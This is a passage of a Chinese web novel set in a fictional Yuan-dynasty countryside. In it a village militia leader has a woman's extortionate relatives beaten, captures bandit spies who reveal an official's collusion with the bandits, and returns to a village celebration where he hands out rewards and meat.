最后,干脆连那两个乡勇也捎带上,把整个青龙村都给骂了个遍: “这是三溪镇的地界,可不是你们青龙村那鸡不拉屎的破地方!都给老娘滚一边儿去,少在这儿碍眼!小心老娘告你们个拐带妇女!还有你们青龙村那个乳臭未干的小王八蛋,还当上都头了?我看他就是个色胚,啥样的烂蒜都往家里头扒拉,也不嫌臊得慌……” 苏阳还没来得及吱声,他身后那帮青龙村的乡勇可就坐不住了,一个个跟炸了毛的公鸡似的,嚷嚷开了: “哪儿来的泼妇,嘴巴放干净点!再敢胡咧咧,仔细你的皮!” “滚回你家去,少在这儿丢人现眼!” …… 女人一听这动静,猛地转过身来,眼珠子顿时瞪得溜圆。 冷不丁被几十号精壮汉子盯着,饶是她平时再怎么厉害,这会儿也禁不住心里头发毛。 “你……你们想干啥?” 她强撑着,扯着嗓子喊了一句。 那些乡勇,渐渐地都不吭声了,一个个拿眼瞅着苏阳,就等着他发话。 苏阳呢,还是那副不咸不淡的模样,一句话也不说。 女人一看这情形,反倒不慌了,气焰又“噌”地一下蹿了上来: “咋地,人多就了不起啊?我必须要说清楚,这儿可是三溪镇,不是你们青龙村那山旮旯!敢在这儿耍横,也不撒泡尿照照自己是个啥德行!” 大伙儿都眼巴巴地瞅着苏阳,等他开口。 过了好一会儿,苏阳才慢悠悠地问了一句: “你是谁家老娘们儿?” 听他这语气,好像没咋生气,女人的胆子“腾”地一下就壮了起来: “我是谁?你竟敢装傻充愣?你霸占了我们家费小妹,难道没打探过她家族势力有多大?” “哦?” 苏阳抬手挠了挠下巴,眼神里闪过一丝戏谑: “竟是费小妹的亲眷。你是她娘?” “你……” 女人气得差点没一口老血喷出来: “放屁!老娘哪点像她娘了?我是她嫂子!她那个短命的娘,早就蹬腿见阎王去了!” 苏阳又摸了摸下巴,不紧不慢地问道: “那你这一趟过来,是想咋地?把人领回去?” “呸,那个烂……” 女人差点又把“烂货”两个字给蹦出来,话到嘴边,硬生生给咽了回去,改口道: “我们家费小妹,那可是模样周正,身段也好,不能就这么白白便宜了你们这帮土包子!想娶她?也行!八抬大轿,吹吹打打,一个也别想跑!” “哦?那依你看,这彩礼钱,该给多少?” 苏阳这话一出口,女人的眼睛“唰”地一下就亮了,心说这是有戏啊! “少说也得……十两……不,一百两!少一个子儿都不行!” 她张口就来,一副吃定了苏阳的模样。 苏阳嘴角一挑,露出一抹似笑非笑的表情: “一百两? 第二百三十六章 中啊!不过,我把人还给你们,这彩礼钱,是不是就不用给了?” 他话音还没落,费小妹就“嗖”地一下从屋里头冲了出来, “扑通”一声跪倒在地,死死地抱住苏阳的大腿,哭得那叫一个梨花带雨: “小东人,您可不能把奴家送回去啊!他们……他们这是要把奴家往火坑里推啊!奴家求您了,您就发发慈悲,收了奴家吧……” 一边哭,一边“咚咚咚”地给苏阳磕头,那响声,听着都让人心疼。 苏阳眉头一皱,心说这丫头,还是嫩了点。 正要开口,却听费小妹的嫂子在那儿破口大骂: “费小妹,你个小贱蹄子,还有脸出来?你都被人给睡了,还有脸回娘家?告诉你,门儿都没有!” 苏阳的眼神“唰”地一下冷了下来,他转过头,看向和那女子一同现身的那几个人,冷冰冰地问道: “这么说,现在就算我把费小妹还给你们,你们全都别想活?” 和那女子一同现身的,估摸着都是费小妹娘家的人,她哥八成也在里头。 一群人,一个个都跟霜打的茄子似的,蔫头耷脑,半天也憋不出一个响屁来。 “哼,你甭问他们,他们都是些个没用的软蛋!有啥事,你冲老娘来,老娘要是皱一下眉头,就不是三溪镇的人!费小妹,我们是不能要了,谁知道她让多少男人给糟蹋过?我们要的是银子,是彩礼!你给不给?不给,老娘就去衙门告你!” 女人扯着嗓子,在那儿一个劲儿地嚷嚷。 苏阳算是彻底明白了,这帮人,压根就不是来接人的,就是来讹钱的! “那天费小妹出嫁之际,你们有谁跟着去了?站出来,我有话说。” 苏阳冷不丁地来了这么一句。 “你……你啥意思?难不成抢了人还不算,居然想要斩草除根?” 女人吓得一哆嗦,声音都变了调。 苏阳冷笑一声: “咋地,你当时也在送嫁队伍里吧?看见土匪,吓得屁滚尿流,扔下你妹子,自己跑了?” “你胡说!我……我哪有跑?是你们这帮强盗,见人就抢,老娘想跑都跑不掉!” 女人越说越激动,就差没跳起来指着苏阳的鼻子骂了。 苏阳心里头跟明镜似的,也懒得再跟她掰扯,扭头对身后的乡勇们说道: “谁上去,让她清醒清醒,好好想想当初的事儿?” 他这话一出口,赖志成手底下那几个泼皮,顿时就来了精神。 其中一个,怪叫一声,猛地蹿了上去,照着那女人的脸,狠狠就是一巴掌! “让你嘴巴不干不净!” “啪!” 又是一巴掌! “让你污蔑咱们村正!” “啪!” “让你胡搅蛮缠!” …… 接连几巴掌下去,那女人直接被打懵了,眼冒金星,嘴角都渗出了血。 “还敢不敢胡咧咧了?” 那泼皮还不解气,抬脚照着那女人的屁股“咣”的就是一下,直接把人给踹趴下了。 “哎呦……” 女人一声惨叫,摔了个狗啃屎,半天没爬起来。费小妹的嫂子挨了打,带来的几个男人眼睛都红了,像是要吃人。 其中一个仗着人高马大,挥着拳头就要往上冲。 旁边一个乡勇眼疾手快,一脚踹在他膝盖窝。 “扑通!” 那人猝不及防,一下子跪在地上,疼得龇牙咧嘴。 “哎呦……你,你敢打我!” 剩下几个一看同伴吃了亏,也急了眼,一个个嗷嗷叫着扑上来。 “上!” 路旭东一挥手,青龙村的乡勇们立刻围了上去。 手里拿着的枪杆,可不是烧火棍。 “乒乒乓乓!” 一阵乱响,枪杆子上下翻飞,专挑人身上招呼。 “哎呦!” “我的娘啊!” “疼死我了!” 几声惨叫,几个男人被打得抱头鼠窜。 可乡勇们人多势众,把他们围得严严实实,哪儿跑得了? 没几下,全都被打趴在地,一个个抱着脑袋,蜷缩成一团,嘴里不停地求饶。 苏阳站在一旁,冷眼旁观。 他知道,这时候不能心软。 对敌人的仁慈,就是对自己的残忍。 大元朝民风彪悍,崇尚武力,谁拳头硬谁就有理。 他要是表现得软弱可欺,以后还怎么在三溪镇立足? 见打得差不多了,再打下去恐怕要出人命,苏阳这才抬手示意: “停手吧。” 乡勇们这才收了手,一个个累得直喘粗气。 “旭东,”苏阳指了指地上躺着的几个人,“把他们分开,一个一个问,那天送亲的都有谁,都干了些什么。” “好嘞!” 路旭东答应一声,招呼几个乡勇,把地上哼哼唧唧的几个家伙,连带着费小妹的嫂子,都拖进了后院。 院子外,围观的人群炸开了锅: “乖乖,青龙村的人真下得去手啊!” “可不是,连女人都打,这要是换了我,可不敢娶进门。” “你们说,该不会是盯上老唐家了吧?那娘们可不是个善茬!” “谁知道呢,不过看这架势,唐二家这次怕是要栽了。” “……” 各种猜测,各种议论,在人群中嗡嗡作响。 没一会儿,后面院子突然响起惨绝人寰的哭嚎声。 那声音,一阵高过一阵,听得人心里直发毛。 “这……这是咋了?” “不会是动真格的了吧?” “不能吧,光天化日的,他们还敢杀人?” “那可说不准,这年头,啥事没有……” “哎,你们说,唐二家的不会是被……” “嘘!小点声,这话可不能乱说!” 议论声越来越大,各种猜测都有,人们脸上的表情也越来越古怪。 可这嚎叫声没持续多久就突然消失了。 这下,外面的人更慌了。 没动静了? 这是咋回事? 人被打死了,还是被打服了? 各种猜测在人群中蔓延,让气氛变得更加诡异。 又等了一会儿,路旭东才带着人,把几个被打得鼻青脸肿的家伙拖了出来。 “扑通!扑通!” 几人被扔在地上,一个个有气无力,像一滩烂泥。 路旭东擦了把额头上的汗,走到苏阳跟前,压低声音说道: “阳哥儿,都问清楚了,这几个王八蛋,有一半都去送过亲,一看见土匪,跑得比兔子还快,连费小妹的影子都没顾上!” 苏阳冷哼一声,眼中闪过一丝寒芒: “自己的女人都护不住,还有脸来找咱们麻烦?” 他顿了顿,目光扫过地上那几个家伙,声音陡然提高: “说!你们还有什么话说?” 那几人被苏阳的眼神吓得一哆嗦,一个个低着头,屁都不敢放一个。 “怎么,不说话?哑巴了?”苏阳冷笑一声,“既然你们不说话,那就别怪我不客气了! 第二百三十七章 ” 他一挥手,厉声喝道: “把他们绑了,送到衙门去!” “是!” 乡勇们齐声应道,声震四野。 这突如其来的变故,让围观的百姓都愣住了。 不是要杀人吗?怎么又要送官了? 这青龙村的人,到底想干啥? 巡检司里,吕巡检也听到了外面的动静。 他心里七上八下,还以为是青虎岭的土匪来报仇了,吓得脸色发白,两条腿直哆嗦。 他一个文官,可没胆子跟土匪硬碰硬。 三十六计,走为上计! 他连官袍都来不及换,就想从后院溜走。 他手下的那些兵,比他跑得还快。 一个个脚底抹油,溜得比兔子还快。 这下,三溪镇彻底乱了。 “出啥事了?巡检司的人跑啥?” “听说了吗?土匪杀来了!” “啥?土匪?快跑啊!” “往哪儿跑?大门口还是后门?” “管他呢,先跑出去再说!” “……” 各种喊叫声,哭喊声,响成一片。 人们像没头苍蝇一样,四处乱窜。 吕巡检骑着高头大马冲上街,更像是油锅里倒进了一瓢水。 场面彻底失控。 男人吼,女人叫,孩子哭,老人喊…… 那场面,真是乱成了一锅粥。 苏阳在院子里,也听到了外面的动静。 他眉头一皱,对身边的路旭东说道: “外面怎么回事?乱哄哄的,成何体统!” “旭东,你带两个人出去看看,到底出了什么事。” 路旭东应了一声,带着两个乡勇急匆匆地跑了出去。 没过多久,路旭东就一脸惊慌地跑了回来。 “超……阳哥儿,不好了,土匪……土匪真的杀来了!” 他说话都结巴了,显然是吓得不轻。 苏阳瞪了他一眼,训斥道: “慌什么!我跟你说过多少次了,遇事要冷静!天塌下来有高个子顶着,你怕什么?” 路旭东被苏阳训斥,心里却是一阵感动。 都这时候了,阳哥儿还这么关心自己,这说明啥? 说明阳哥儿心里有自己啊! 想到这里,他顿时热血上涌,胆气也壮了几分。 他“唰”的一下站直了身子,举起手里的长枪,扯着嗓子大喊: “青龙村的兄弟们,都别慌!有咱村正在,怕个鸟!” 他这一嗓子,还真起了作用。 原本有些慌乱的青龙村乡勇们,一下子就稳住了心神。 对啊,怕啥? 有苏二哥在,天塌下来都不怕! 想当初,青虎岭的土匪多凶啊,还不是被苏二哥带着大伙儿打得屁滚尿流? 今天也一样,谁来都不好使! 一时间,所有人的目光都集中在了苏阳身上,等待着他的指示。 人群中,这种镇定和信任,像是一股无形的力量,与外面混乱的人群形成了鲜明的对比。 这支队伍,仿佛与整个混乱的世界格格不入。 他们的目标明确,行动一致,朝着镇外,逆流而上! 苏阳也没想到,自己一句话竟然有这么大的威力。 他心里也明白,三溪镇虽然不是自己的地盘,但也不能让土匪给毁了。 这地方要是完了,自己的生意还怎么做? 更重要的是,万一土匪把三溪镇的百姓给裹挟了,那青龙村可就危险了。 所以,他不能坐视不管。 他要到镇外去看看情况,如果土匪势大,他再撤退也不迟。 现在最重要的是保持机动性,不能被土匪堵在镇子里。 他把所有人都带上了,包括樊小娥她们三个女人。 不能把她们单独留在镇子里,万一出事,自己可担不起这个责任。 至于费小妹的那些家人? 苏阳才懒得管他们的死活,直接把他们扔在了院子里,是死是活,听天由命! 可等到了镇外,苏阳傻眼了。 青龙村的乡勇们也都傻眼了。 说好的土匪呢? 怎么连个鬼影子都没有? 压根没瞧见山贼,连周边村子的护卫队都人间蒸发了。 这是咋回事? 难道是他们把土匪打跑了? 苏阳不知道的是,其他几个村子的村正,早就带着人跑得没影了。 刚才苏阳收拾费小妹家人的时候,他们就在外面看热闹。 后来听说土匪来了,这帮家伙比兔子跑得还快。 招呼都没跟苏阳打一声,就带着各自的人马,一溜烟跑出了镇子。 然后,带着守在镇子外的民兵,头也不回地逃命去了!不见土匪踪影,苏阳却愈发警觉。 他一挥手,带着乡勇们悄无声息地隐入了镇门旁的一片密林。 这地方视野开阔,能将镇门附近的情况尽收眼底,且易守难攻,是个绝佳的藏身之所。 等了许久,依旧风平浪静,别说土匪,连个鬼影子都没见着。 苏阳眉头微皱,心中疑惑:“难道情报有误?土匪压根没打算来西门,而是直奔东门去了?” 他正欲下令转移,忽然,林外传来一阵细碎的交谈声,若有若无,却清晰可辨。 “我说老李,麻当家的不是说要来给兄弟们报仇雪恨吗?这都啥时候了,咋还没见人影?” 一个粗粝的声音响起,带着几分焦躁。 “你急个啥?麻当家的自有安排!” 另一个声音懒洋洋地回应,似乎并不着急。 “咱们在这儿干等着也不是个事儿啊……” 先前那声音嘟囔着,语气中透着一丝不安。 “慌什么?咱们的任务就是盯紧了镇门,等麻当家的一到,咱们也好将功折罪不是?” 那懒洋洋的声音中透着一丝不耐烦。 苏阳心中一动,屏息凝神,竖起耳朵仔细听着。 他示意众人噤声,并向路旭东和周阳使了个眼色。 路旭东、周阳会意,带着几个乡勇,无声地分散开来,分别从树林两侧,缓缓向声音传来的方向包抄过去。 树林外,两个身影正百无聊赖地四处张望。 其中一个身材矮胖,另一个则瘦骨嶙峋。 两人有一搭没一搭地闲聊着,浑然不觉危险已经悄然逼近。 突然,数道人影从树林中窜出,如同猛虎扑食般,将二人死死按倒在地。 两人甚至来不及发出一声惊呼,便被堵住了嘴巴,五花大绑起来。 整个过程迅捷无比,没有发出半点多余的声响。 苏阳并未急于审问,而是示意路旭东和周阳将俘虏带到密林深处,分别进行盘问。 他深知,分开审问更容易击溃对方的心理防线,获取更真实的情报。 过了约莫一炷香的功夫,路旭东和周阳一脸古怪地回到苏阳面前。 “阳哥儿,这俩家伙……还真是青虎岭的土匪!” 路旭东率先开口,语气中带着一丝难以置信。 “不过,他们不是麻当家派来的,而是四当家顾明远的人。” 周阳补充道,神情同样有些错愕。 原来,顾明远最近收到风声,说三溪镇的巡检吕大人要带兵剿匪。 第二百三十八章 为了确认消息真假,顾明远暗中运作,通过郑县尉的关系,将这两个心腹手下安插进了三溪镇,负责打探消息。 可谁知,顾明远得到的消息终究晚了一步。 这俩倒霉蛋昨天才刚到三溪镇,脚跟还没站稳,吕巡检就已经带兵剿匪归来,还打了胜仗。 听到青虎岭老巢被端的消息,这俩探子吓得魂飞魄散,差点当场尿了裤子。 要不是因为天色已晚,道路难行,他们早就连夜逃回县城报信去了。 今天一大早,俩探子正收拾东西准备跑路,三溪镇却突然炸了锅,到处都在喊“青虎岭的土匪来报仇啦”。 这俩人一听,顿时喜出望外,以为立功的机会来了。 他们急忙跑到东门,打算迎接“麻当家”,好在新主子面前好好表现一番。 谁曾想,功劳没捞着,反倒成了瓮中之鳖,被一群乡勇给逮了个正着,还被狠狠地修理了一顿。 路旭东和周阳的审讯手段,苏阳是放心的。 一番“招待”下来,俩探子早已没了脾气,有问必答,知无不言。 苏阳走到两人面前,目光如刀,死死盯住他们的双眼: “说,郑县尉在镇上,都跟什么人有勾结?” 这才是关键。 苏阳敏锐地察觉到,郑县尉这条线,或许能挖出更多意想不到的东西。 路旭东和周阳闻言,不禁面露愧色。 他们自诩经验丰富,却忽略了如此重要的细节,跟苏阳比起来,还是差了一大截。 两个土匪哪敢隐瞒,立刻争先恐后地交代起来。 他们说,郑县尉在三溪镇有个远房亲戚,是镇上福满客栈的掌柜。 顾明远为了巴结郑县尉,没少跟这位掌柜的套近乎,两人还一起喝过好几次酒,关系匪浅。 “那掌柜的,知不知道你们的身份?”苏阳追问道,语气冰冷。 “这……小的们也不敢肯定……” 两人支支吾吾,眼神闪烁。 “好像……是知道的吧……” 另一个结结巴巴地补充道。 苏阳冷哼一声,不再追问。 他心里已经有了计较。 他站起身,大手一挥:“把人带上,回镇!” 此时的苏阳,心中已然有了判断: 土匪来袭,多半是以讹传讹。 只是,这谣言究竟从何而起? 苏阳心中疑惑,却也隐隐觉得,这背后或许另有隐情。 而三溪镇的防御,在这次事件中暴露无遗,简直形同虚设。 就在苏阳带着乡勇和俘虏返回镇上时,骚乱已经渐渐平息。 那些胆小怕事的,早就脚底抹油溜之大吉,镇上自然也就安静了下来。 吕巡检也已经回到了镇上,正在巡检司里大发雷霆。 最初那会儿,吕巡检确实被吓得不轻,甚至一度以为自己要命丧于此。 他骑着快马,一路狂奔逃出镇外,这才稍稍缓过神来。 冷静下来后,他立刻意识到事情有些蹊跷。 于是,他收拢了一些还能动弹的兵丁,派人返回镇中打探消息。 很快,探子回报:镇子里根本没有土匪的踪迹! 吕巡检顿时明白过来: 这他娘的是有人造谣! 他怒火中烧,回到镇上后,立刻下令严查此事,誓要将造谣生事之人揪出来碎尸万段! 吕巡检的怒吼声在巡检司里回荡,吓得一众衙役噤若寒蝉。 就在这时,苏阳带着人走了进来。 “苏二,你竟敢没跑?” 吕巡检一看到苏阳,顿时气不打一处来,脸色铁青,语气森冷。 苏阳心中暗笑,这老家伙,自己跑得比谁都快,还好意思说别人? 不过,他脸上却不动声色,恭敬地说道: “大人,方才之事,并非空穴来风,确有土匪作祟!” “哦?” 吕巡检闻言,三角眼中闪过一丝精光,死死盯着苏阳: “此话怎讲?” 他心中暗自盘算,不管苏阳说的是真是假,先听听也无妨。 若是真的,自然最好。 若是假的,也能借此机会平息众怒,给自己找个台阶下。 “我逮住了两个山贼的眼线,大人一审便知!” 苏阳说着,一挥手,示意乡勇将五花大绑的两个俘虏押了上来。 吕巡检见状,顿时精神大振。 他原本以为苏阳是来拍马屁的,没想到竟然真的抓到了土匪! 这可真是意外之喜! 他强压下心中的激动,故作镇定地仔细询问了事情的经过。 在确认这并非乌龙之后,他才让人将两个鼻青脸肿的土匪探子带到面前。 两个探子早已被吓破了胆,一见到吕巡检,便如同竹筒倒豆子一般,将所有的事情都交代了出来。 听完两个探子的供述,吕巡检端起茶杯,轻轻抿了一口,却久久没有说话。 他并非故作深沉,而是被这突如其来的消息给惊住了。 青虎岭的四当家顾明远,竟然和郑县尉勾结在了一起! 这简直是滑天下之大稽! 老鼠和喵星人变成铁哥们,这世道,还有王法吗? 吕巡检只觉得一股寒气从脚底直窜头顶,让他不寒而栗。“报——” 一声长啸,像要把胸腔里的郁闷之气都喊出来,惊得三溪镇的麻雀都扑棱棱飞上了天。 孔远山领着俩小子,卷起一路黄尘,那架势,跟逃难似的。 “阳哥儿,没事,村里没事,我们特意来告诉你我们很安全!” 后边一个小子脚下生风,几步抢到前头,上气不接下气地喊了一嗓子,就怕这报信的头功被抢了去。 苏阳高悬的心“咣当”一声落回了肚子。 “嘘……” 他长出一口气,斜眼瞥了孔远山一下,眼神里明晃晃地写着:瞧你那点出息! 孔远山鼻子都快气歪了。 本来还想抢个头功,在阳哥儿面前露露脸,结果倒好,风头全让这小兔崽子抢了,还落了阳哥儿一个白眼! “咋的,远山,你小子属狗的?大老远跑来,就为了喘气给大伙听?” 苏阳没好气地又问了一遍,语气里带着一丝不易察觉的紧张。 “呼……呼……阳哥儿,我……我……” 孔远山两手撑着膝盖,弯着腰,像拉风箱似的喘着粗气,一张脸憋得通红,半天蹦不出一个字。 他倒是想说,可这口气儿它上不来啊! “走,回村!” 苏阳也懒得再问,确认了青龙村没事,一颗心早就飞回去了。 鞭子狠狠抽在马屁股上,战马吃痛,一声长嘶,撒开四蹄就往前蹿。 身后,一群乡勇也都跟打了鸡血似的,一个个眼睛瞪得像牛蛋,恨不得一步就迈回青龙村。 十几里路,硬是被这帮牲口跑出了马拉松的架势。 几辆牛车彻底没影了,估计这会儿还在半道上吭哧吭哧地爬呢。 都说归心似箭,可这帮家伙,恨不得把箭射到月亮上去! 第二百三十九章 离家越近,心就跳得越快。 这趟差事,太特么吓人了。 一想到马上就能见到老婆孩子热炕头,乡勇们浑身都充满了使不完的劲儿! 苏阳早就打发了两个腿快的,先一步回村报信去了。 他得让全村老少爷们都知道,青龙村出去的汉子,一个不少,全须全尾地回来了! …… 锣鼓喧天,鞭炮齐鸣…… 这当然是不可能的。 不过,青龙村村口,确实热闹得跟赶集似的。 苏阳来到这世道之后,折腾的动静一次比一次大,全村人现在都快免疫了。 但这次不一样。 以往哪次征徭役不是要抬几个死人回来? 这次竟然一个人都没死! 简直就是老母猪上树,太阳从西边出来! “他二婶,你说苏二这回真能把人全带回来?” “谁知道呢,不过啊,我男人可是发了话,这回要是真一个人不死,往后咱家就都听苏二的!” “哟,他二叔不是最不服苏二吗?” “男人懂个屁!苏二那是什么人?那是天上的文曲星下凡!没点真本事,能把青虎岭那帮杀人不眨眼的土匪收拾了?” “……” 村口乌泱乌泱的全是人头。 比过年还热闹! 平时憋在家里不出门的大姑娘小媳妇,都跑出来看热闹。 一个个抻着脖子朝村外头张望,就等着看这场“奇迹”。 …… 巡检司。 吕巡检端着个茶碗,眼睛却盯着桌上的几张纸。 那是两个土匪探子的口供。 青虎岭的土匪和县尉吴大人勾结? 吕巡检手指头在桌面上“笃笃笃”地敲着。 这事,透着邪性! 要是真的,自己是往上报,还是睁一只眼闭一只眼? 吕巡检感觉自己的官场经验有些不够用了。 按理说,县尉管不到他这个巡检头上。 可人家是正经的朝廷命官,自己只是个不入流的小吏。 真要较起真来,自己这身官皮恐怕都保不住! 吕巡检捻着胡子,眼珠子转来转去。 这事要是运作好了,自己没准能捞个大功劳。 可要是没办好,郑县尉那个老东西一发狠,自己这辈子可就完了! 他屁股底下的位子还没坐热乎呢! 风险和机遇并存,怎么选? 吕巡检脑门上开始冒汗。 “苏二,本官这巡检司里,还缺个管事的。你可愿意来?” 吕巡检突然开口,把苏阳吓了一跳。 他眼珠一转,就明白了吕巡检的意思。 这是想找个替死鬼啊! “吕大人,小人才能低微,恐怕难当此重任。”苏阳直接了当回绝。 开什么玩笑! 你这巡检司的管事,说白了不就是个高级点的杂役? 老子可是要干大事的人,哪有功夫给你打杂! 再说了,你吕巡检自己都火烧眉毛了,我跟着你,岂不是要倒大霉? “哼!” 吕巡检脸色一沉。 这小子,给脸不要脸! 老子提拔你,那是给你面子! 既然你不识抬举,那就滚回你的泥坑里刨食去吧! “来人,送客!” 吕巡检直接下了逐客令。 苏阳心里跟明镜似的,也没多说什么,转身就走。 他把那俩土匪探子送来,可不是为了升官发财。 他是担心郑县尉和青虎岭勾结,会威胁到自己在青龙村的安稳日子。 至于吕巡检想什么,跟他没关系。 这种自私自利,只为自己考虑的官,还是让他自生自灭去吧。 出了巡检司,苏阳直奔青龙村而去。 至于三溪镇的其他事,他才懒得管。 各村的乡勇早就跑光了,吕巡检也没心思再开什么总结大会。 苏阳巴不得赶紧回家,抱着老婆孩子睡个安稳觉!村口黑压压的,全是人头。 焦急的脸孔像潮水般涌动,一张张,都写满了期盼。 距离青龙村还有段路要走,苏阳就感受到了这股热切。 “阳哥儿回来啦!” 人群中,不知是谁扯着嗓子嚎了一句。 “轰”的一下,人群炸了。 “当家的!你在哪儿啊?” “娃他爹,你可算回来了!” 哭的,喊的,叫的,乱成一片,像烧开的水,沸反盈天。 几个壮实的妇人挤在最前头,手里挥舞着锅铲、擀面杖,那架势,像是要把谁给生吞活剥了。 要不是陈木生带着几个后生,死死地用身体组成一道人墙,硬是把这帮红了眼的婆娘们给挡住了,估计这队伍早就被冲散了。 村民们踮着脚,把脖子伸得像鹅一样长,眼珠子瞪得比铜铃还大,恨不得把眼珠子抠出来,扔进队伍里去。 他们就想看看,自家的男人是不是全须全尾地回来了,哪怕是少了一根头发丝儿,他们都能瞧出来。 每当有人瞅见自己的亲人,压抑不住的嚎叫声就冲破喉咙,震得人耳膜嗡嗡直响,仿佛要把胸腔里的郁结之气全都吼出来才痛快。 这嚎叫声一声接着一声,像瘟疫一样,迅速传染开来,把原本就紧张的气氛,硬生生给推向了高潮。 几家欢喜几家愁,这话一点儿不假。 那些寻见自家男人的,乐得嘴巴咧到了耳朵根,眼泪鼻涕糊了一脸,也顾不上擦,拉着自家男人的胳膊,又蹦又跳,活像个得了糖果的孩子。 可那些还没寻见自家男人的婆娘们,脸色煞白,嘴唇哆嗦得像风中的树叶,眼泪在眼眶里打着转,就差没当场晕过去了。 她们觉得天都要塌了! 好在队伍走得不慢,人挤人,乱哄哄,但好歹没停下。 没过多久,大部分乡勇都被家人给认领了。 一开始,好多人还抹眼泪呢,那是高兴的。 喜极而泣嘛,可以理解。 可哭着哭着,味儿就不对了。 “他爹,你这身上咋这么多血?”一个婆娘眼尖,瞅见自家男人身上的血迹,声音都变调了,尖锐得像要刺破人的耳膜。 还有人发现自家男人脑袋上肿起老麻一个包,像个紫色的肉瘤,看着都疼! 得,这下哭得更厉害了,撕心裂肺,鬼哭狼嚎。 刚才还是喜极而泣,现在是真哭了,哭得那叫一个惨绝人寰。 好几个上了年纪的婆娘,哭得那叫一个惨,上气不接下气,差点没直接背过气去,像是要把心肝脾肺肾都给哭出来。 苏阳站在一旁,看着这乱糟糟的场面,心里头那叫一个哭笑不得。 至于吗? 一个个的,戏也太多了! 他心里清楚,这帮人身上的血,都是他让抹上去的。 为了啥? 还不是为了掩人耳目! 至于脑袋上的包,那是青虎岭那帮不长眼的土匪的“功劳”。 石头砸的,这都算是这次出征受的最重的伤了。 可他不能说啊! 说了不就露馅了吗? 苏阳叹了口气,心想,这帮村民也是不容易,成天提心吊胆的,也难怪反应这么大。 第二百四十章 说到底,老百姓图个啥? 不就图个平安吗? 只要人平平安安回来,没缺胳膊少腿,对他们来说,就已经是天大的喜事了! “扑通!” 一个妇人突然跪在苏阳面前,膝盖砸在地上,发出沉闷的声响,像是要把地皮都给砸出一个坑来。 “阳哥儿,谢谢你把俺家男人带回来,俺给你磕头了!”妇人说着,就要往下磕头,额头眼瞅着就要和地面来个亲密接触。 这一跪,像是起了连锁反应。 “呼啦啦”,一大片人跟着跪了下来,像是被割倒的麦子。 “阳哥儿,你真是活菩萨啊!” “阳哥儿,俺家娃子以后就跟你混了!” “阳哥儿……” 这帮人,有乡勇的爹娘,有乡勇的媳妇,还有乡勇的娃。 一个个眼泪汪汪的,看着苏阳,那眼神,跟看再生父母似的,恨不得把苏阳给供起来。 这可真不是在拍马屁,也不是装出来的。 苏阳心里跟明镜似的。 谁都知道,之前每回出门打仗,青龙村哪次不没几个人? 没了的,都是家里的顶梁柱,家里的天。 顶梁柱一倒,一家老小就得喝西北风,搞不好就得饿死! 说句不好听的,要是自家男人生死未卜,哪个婆娘能不急疯了? 现在,苏阳说到做到,把人全须全尾地带回来了,这就是天大的恩情! 别说磕几个头,就是让这帮人给他当牛做马,他们都乐意! 苏阳赶紧把人扶起来,一个一个地往起拽。 他知道,对这帮村民来说,更大的惊喜还在后头呢。 “在场的老铁们,”苏阳清了清嗓子,扯着嗓子喊道,声音洪亮得像打雷,“这次吕巡检发了赏钱,还发了十石粮食,我一文钱一粒米都不要,统统发给兄弟们!” 静。 死一般的寂静。 所有人都愣住了,像是被雷劈了,又像是被施了定身法。 过了好一会儿,才有人回过神来,声音颤抖着,带着浓浓的怀疑: “啥?巡检老爷发赏钱?还发粮食?我没听错吧?” “这……这太阳打西边出来了?” “从前咱们被迫干苦力,哪次不是饿着肚子去,饿着肚子回?官老爷啥时候这么大方过?” “你个憨货!睁大眼看看这波谁是老大?是阳哥儿!阳哥儿能跟以前那些个吃人不吐骨头的王八蛋一样吗?” “对对对,还是阳哥儿有本事,能让铁公鸡拔毛!” …… 议论声像炸了锅一样,嗡嗡嗡地响个不停。 吕巡检在三溪镇是出了名的吝啬鬼,一毛不拔,恨不得把一文钱掰成两半花。 以前大伙儿去服徭役,哪个不是提心吊胆,生怕被他给克扣了口粮? 官老爷发赏钱发粮食? 这种事,大伙儿连做梦都不敢想! 可这次,苏阳头一回带队,就让乡勇们得了这么大的实惠。 这说明啥? 还用说吗? 当然是苏阳有本事,有能耐,能从铁公鸡身上拔下毛来! 这可不是一般人能做到的! 往后就跟着阳哥混饭吃,还怕吃不饱饭? 别说吃饱饭了,说不定还能顿顿吃肉呢! 苏阳立了这么大功劳,吕巡检那老抠,竟然只赏了这么点儿东西,说出去都让人笑掉大牙。 可对青龙村这些穷苦百姓来说,这可是头一遭,比过年还稀罕。 这份功劳,大伙儿自然都记在了苏阳头上。 至于那个抠门到家的巡检老爷? 谁在乎他啊! 他爱抠抠去,反正大伙儿的好处是阳哥儿给挣来的! 十石粮食,听着挺多,可分到这么多人头上,也真不算啥。 好在还有点赏钱,总好过空着手回来。 苏阳心里跟明镜似的,他知道,这帮村民最想要的,其实不是粮食,也不是赏钱,而是另外一样东西。 “乡亲们,我知道,大家伙儿都盼着吃肉呢!”苏阳故意顿了顿,提高了嗓门,“今儿个早上,我特意买了多半扇猪肉,够大伙儿好好吃一顿!等会儿分了粮食,人手带两斤肉回家,给家里人好好补补!” “嗷……” “嗷嗷……” “嗷嗷嗷……” 这下,不光是乡勇,连他们家里人都忍不住开始嚎叫,那声音,比狼嚎还瘆人。 这年头,谁家一年到头能吃上几回肉? 做梦去吧! 也就是跟着苏阳,这两天一些乡勇才算是开了荤。 可他们吃了,他们的家人还没吃过呢! 没想到,阳哥儿竟然这么大方,要请大伙儿吃肉! 这……这简直比过年还让人高兴! 孩子们一听说有肉吃,一个个乐得手舞足蹈,又蹦又跳,跟过年放鞭炮似的。 “肉!肉!我要吃肉!”一个小娃子兴奋地喊叫着,口水都流出来了。 苏阳眼睛一瞪,故意板起脸,装出一副凶神恶煞的样子: “你们这帮小兔崽子,不在书院里好好念书,都跑这儿来凑啥热闹?” “就是,都给我滚回去念书去!再让我看见你们在这儿瞎晃悠,看我不打断你们的腿!”陈木生也跟着帮腔,手里还挥舞着一根不知道从哪儿捡来的树枝。 这俩人一唱一和,还真把这帮小家伙给唬住了。 刚才还闹腾得欢的小家伙们,立马就老实了,一个个缩着脖子,耷拉着脑袋,像鹌鹑一样,大气都不敢喘。 有几个小家伙没站稳,直接摔了个屁股墩儿,也顾不上疼,赶紧爬起来,低着头,恨不得找个地缝钻进去。 “哼,不就是有几个臭钱吗?有啥了不起的?小孩子们想热闹热闹,碍着你啥事了?” 人群里,一个清脆的声音响了起来,带着几分不满,几分不屑。 苏阳一听,这声音有点儿耳熟啊! 他顺着声音一瞅,哟,这不是钱晓柔家的小丫鬟翠环吗? 这丫头片子,啥时候变得这么伶牙俐齿了? 还敢跟自己顶嘴了! 